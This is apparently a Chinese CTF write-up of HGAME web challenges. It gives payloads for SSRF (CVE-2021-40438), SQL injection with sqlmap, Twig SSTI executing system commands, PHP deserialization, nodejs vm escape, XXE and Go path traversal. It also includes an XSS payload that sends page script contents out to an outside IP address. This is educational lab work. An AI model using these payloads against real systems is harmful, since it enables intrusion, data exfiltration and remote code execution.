前言
web篇
Tetris plus
直接搜索alert
Fujiwara Tofu Shop
添加一些头部信息,X-Real-IP: 127.0.0.1
蛛蛛…嘿嘿♥我的蛛蛛
import requests |
第100个包,头部信息
easy_auth
jwt没密钥直接换0
webpack-engine
Webpack打包网站,细心点搜一下源码
Flag: hgame{D0nt_f0r9et_2_ClOs3_S0urce_m@p}
一本单词书
username=adm1n&password=1080a 弱比较绕过登录
save.php可以操作session文件
get.php可以反序列化
由于数据处理时为 json_decode 所以 键值对的键可控,注入session文件,反序列化读取文件
Payload
{ |
访问get.php触发反序列化
Flag:hgame{Uns@f3_D3seR1@liz4t1On!Is~h0rr1b1e-!n_PhP}
Apache!
附件 Default.conf 发现 flag路径
搜索相关cve,2021 年 Apache 的 mod_proxy 模块报了个 SSRF 漏洞(CVE-2021-40438),Apache httpd Server CVE-2021-40438 漏洞分析, 用来ssrf探测内网,这题设置了 /proxy的代理服务
Payload
GET /proxy?unix:A*6409|http://127.0.0.1:60010/flag HTTP/1.1 |
Flag:hgame{COng@tul4ti0n~u_r3prOduced_CVE-2021-40438}
Pokemon
error.php二分法盲注,过滤 = 用 like绕过
import requests |
Flag:hgame{C0n9r@tul4tiOn#Y0u$4r3_sq1_M4ST3R^}
At0m的留言板
- xss
给了一个html模板,发现flag在 <head>
标签中被定义
题目环境是在微信平台,发送paylaod会返回代码执行的截图,禁用了一些常见xss,本来思路是让flag回显到平台,然后得到截图就行了,但是可能是截图太快,或者其他原因,不回显,所以只能外带数据
以下是部分测试payload
|
然后就是 利用img的src获取script中的数据然后外带数据
payload
<img src=x onerror="window.open('http://1.116.110.61/'+document.getElementsByTagName('head')[0].getElementsByTagName('script')[0].text)" width="336" height="36"> |
Flag:hgame{Xs5_1s_so_int3Restin9!Var_is_0uT_of_d4te}
wp解法:
本题设计的思路是 获取到全局的变量名,然后找到 flag 的变量名再拿到 flag。
这也是模板html的提示点:为什么同样是两个变量,第一个使用 let,而第二个使用 var 呢?因为 使用 var 可
以利用 Object.keys(window) 拿到全局变量 flag 的变量名,而使用let的话无法获取。
<img src=1 onerror="document.getElementsByClassName('content')[0].innerText=Object.keys(window)"> |
再用
<img src=1 onerror="document.getElementsByClassName('content')[0].innerText =F149_is_Here"> |
总结:
由于我对于html返回对象那里基础薄弱,所以在找html中的script标签时费了很大力气然后就是在控制台进行测试
慢慢的找出对应的节点,获取文本
知识点:
-
var elements = document.getElementsByTagName(name);
返回集合 -
getElementsByTagName('script')
在寻找标签为script的节点
相关文章
XSS过滤绕过总结 - 随风kali - 博客园 (cnblogs.com)
工作中梳理XSS Bypass WAF相关Payload - Fly 我是小灰灰 (yaofeifly.github.io)
Bypass XSS SQL Payload大全 (qq.com)
Vidar shop demo
注册用户然后发现账户有9999元,商店里面flag需要1w
应该就是逻辑漏洞或者竞争,点击flag商品和其他一个商品进行下单,先把40的支付一下
发现点击删除按钮后会取消订单,退还钱,抓包看看
发现当点击删除时,发起一个对应ID的包,将id改为flag对应id 2637放包发现退还了1w,再次购买flag,成功
Flag:hgame{8f8ddb3537b037a296a85e920d54f650b4a6cc73b015ac0bdb91a579a193aa71}
SecurityCenter
- Twig SSTI
发现泄露 /vendor/composer/installed.json,使用了twig的框架,发现一个疑似ssrf地方
经过测试存在SSTI
Payload:
{{["id",%200]|sort("system")|join(",")}} |
FLAG: hgame{!Tw19-S5t11s^s00O0O_inter3st1n5~!}
LoginMe
Sqlmap直接跑出来了。。。
python3 sqlmap.py -r c:\Users\cys\Desktop\sql.txt --batch --random-agent -T uuussseeerrrsss -C password --dump –flush |
登录得flag
FLAG: hgame{d0490213241f3f29f172c475e1641a7d37bf2b8208616c4d4489aa58a1ebaeb4}
Markdown Online
学习到了markdown xss
nodejs vm逃逸
过滤
先看导入了什么,markdown-it 与 zombie
Zombie存在一个沙箱逃逸的rce漏洞,找到了出题人之前写过的一篇文章,与祥云杯的 cralwer_z 类似
看一下登录控制器,密码转换为大写后要与54g相等,这是不可能的
登录处只要让 toUpperCase 抛出异常就可以登陆成功,让password为数组即可使其长度为16绕过
{"username":"admin","password":["1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1"]} |
接着审计提交的控制器
先将传入的代码进行md渲染编程html,接着利用Browser中的load进行操作
load又调用了this.tabs.open({ html: html }) 其实这里的 open
就是漏洞的入口
剩下分析移步Nodejs Zoombie Package RCE 分析
祥云杯是通过visit为入口,这道题是以load为入口,那整体就是,将传入的代码在提交之后渲染为html,然后放入沙箱中运行,让其逃逸即可,这里还需要markdown的语法
发现在 vm 模块运行js代码,代码运行的上下文是 window对象
但是这里存在一个waf
function waf(code) { |
过滤了关键词,给出两种 绕过,当我想要以相同方式 绕过this时,发现对于this不适用,然后找到了这篇文章
nodejs沙箱与黑魔法 - 先知社区 (aliyun.com)
尝试调用 window 的方法 然后调用 constructor 向上 返回的一个 Function constructor 然后 利用Function对象构造一个函数并执行
Payload:
<script> |
Flag:hgame{3nj0y*Th3/pR0tOtype/pOllut10n!1n_j@v4scr1pt}
后续测试,构造一个constructor即可,成功的window方法:
btoa、cancelAnimationFrame、captureEvents、clearImmediate,print等等可以自行寻找
window方法:clearImmediate()_w3cschool
相关文章:
Markdown xss payload
Markdown-XSS-Payloads.txt
nodejs 沙盒逃逸
Node.js沙盒逃逸分析
nodejs-vm沙箱逃逸
NodeJs 沙盒逃逸分析及原型链的简单学习
nodejs编码:
Nodejs的一些技巧
nodejs代码执行绕过的一些技巧汇总
vm2逃逸payload项目
https://github.com/patriksimek/vm2
Comment
- xxe
libxml_disable_entity_loader(false); 允许外部实体,waf了一些关键字
返回flag的逻辑就是sender需要为admin,但是post数据包里不能有admin关键字
本想在content通过一百万个字符绕过preg_match,然后发现题目环境不可以,那就进行外部实体拼接绕过
payload
<?xml version="1.0"?> |
Flag:hgame{Pr3ud0~prOtQc4l*m33ts_Xx3-!nj3cti0n~!}
FileSystem
- go安全
两个文件
Main.go
package main |
there_may_be_a_flag 就是flag的地方,加上了web服务的flag路由,从而使得我们没法通过直接访问/flag来获取文件。而是得到/flag路由的回显。也就是 No! You can’t see the flag!
审计完再结合题目觉得应该是 **http.FileServer(http.Dir("./")).ServeHTTP(w, r)**,出了问题,应该是存在漏洞导致可以跨目录读取到flag,搜索了一下,找到了go的一些安全问题
随后发现了漏洞的出处 justCTF [*] 2020:Go-fs,出题人在github提交了issue,https://github.com/golang/go/issues/40940
在ctf中还出现了非预期解法,利用一下非预期来解一下题目
payload
curl -X CONNECT --path-as-is http://3445d0f8a3.filesystem.hgame.homeboyc.cn/123/../there_may_be_a_flag |
非预期的原理:
如果是 CONNECT 方式请求,就 不会处理url中的特殊字符,导致直接读取flag.其他的请求方法都会在cleanPath中被处理url,golang1.16似乎已经处理了。